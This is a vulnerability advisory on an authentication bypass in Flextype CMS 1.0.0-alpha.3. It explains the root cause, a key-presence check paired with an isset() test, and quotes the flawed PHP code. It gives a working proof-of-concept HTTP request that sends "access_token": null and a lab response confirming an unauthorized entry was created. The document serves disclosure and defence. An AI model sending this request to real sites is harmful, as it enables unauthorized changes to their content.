Flextype CMS 1.0.0-alpha.3 Authentication Bypass

Description
    
    Flextype CMS v1.0.0-alpha.3 contains an authentication validation
    vulnerability in the API request-processing functionality. API endpoints
    may declare access_token as a required parameter, but the
    required-parameter validation only verifies that the corresponding key
    exists in the supplied request data.
    
    Authentication verification is subsequently performed inside an isset($data
    ['access_token']) condition. In PHP, isset() returns false when a key
    exists but its value is null.
    
    An attacker can therefore supply "access_token": null, satisfying the
    required-parameter existence check while causing the subsequent
    access-token verification logic to be skipped.
    
    Testing confirmed that a protected Entries API operation accepted an
    access_token value of null and successfully created an entry.
    Impact
    
    An remote attacker can bypass the access_token authentication requirement
    for affected API endpoints.
    
    The resulting impact depends on the functionality exposed by the affected
    endpoint. Where the bypass provides access to entry creation, modification,
    query, or other privileged API functionality, it may also remove the
    authentication prerequisite from vulnerabilities reachable through those
    endpoints.
    
    The public API token requirement should be considered separately from the
    bypassed access_token security control.
    DetailsRequired Parameter Validation
    
    Flextype combines query and request-body parameters and verifies required
    parameters by checking only whether the required key occurs within the
    resulting array:
    
    $data = array_merge($queryData, $bodyData);
    
    $dataTest = true;
    
    foreach ($options['params'] as $key => $value) {
        if (in_array($value, array_keys($data))) {
            continue;
        }
    
        $dataTest = false;
    }
    
    Consequently, a request containing:
    
    {
        "access_token": null
    }
    
    satisfies the parameter-presence requirement because the access_token key
    exists.
    Authentication Verification
    
    Access-token validation is subsequently conditional upon PHP's isset():
    
    if (isset($data['access_token'])) {
        if (! isset($tokenData['hashed_access_token'])) {
            return $this->getStatusCodeMessage(401);
        }
    
        if (! verifyTokenHash($data['access_token'],
    $tokenData['hashed_access_token'])) {
            return $this->getStatusCodeMessage(401);
        }
    }
    
    For a PHP array containing an access_token key whose value is null:
    
    isset($data['access_token'])
    
    evaluates to false.
    
    The authentication verification block is therefore skipped.
    Proof of Concept
    
    The following request supplies the required access_token parameter with a
    JSON null value:
    
    POST /api/v1/entries HTTP/1.1
    Host: 127.0.0.1:18086
    Content-Type: application/json
    
    {"token":"lab-token","access_token":null,"id":"auth-null-proof","data":{"title":"AUTH_NULL_BYPASS_PROOF"}}
    
    Flextype accepted the request:
    
    HTTP/1.1 200 OK
    Host: 127.0.0.1:18086
    Content-Type: application/json;charset=UTF-8
    
    {"title":"AUTH_NULL_BYPASS_PROOF","published_by":"","created_by":"","uuid":"514b6f5a-dc16-4572-9c16-8ac4a17250f0","content":"","slug":"auth-null-proof","published_at":1788143638,"modified_at":1788143638,"created_at":1788143638,"routable":true,"visibility":"visible","id":"auth-null-proof"}
    
    The successful creation of auth-null-proof demonstrates that supplying a
    null access token bypasses the access-token verification performed by the
    API authentication logic.
    Root Cause
    
    The vulnerability results from inconsistent validation of required
    parameters.
    
    The first validation considers a parameter present when its key exists:
    
    in_array($value, array_keys($data))
    
    while authentication is conditional upon:
    
    isset($data['access_token'])
    
    These operations have different behavior for null values.
    
    A JSON value of:
    
    "access_token": null
    
    therefore satisfies the first condition while preventing execution of the
    second.
    
    Ron Edgerson
    Vulnerability Researcher & Exploit Developer
    
    CVE Research | Binary Exploitation | Application & Systems Security
    Responsible Disclosure • Proof-of-Concept Development
    
    🌐 https://github.com/ob1sec
    🔗 https://www.linkedin.com/in/ronedgerson1
    <https://linkedin.com/in/yourhandle>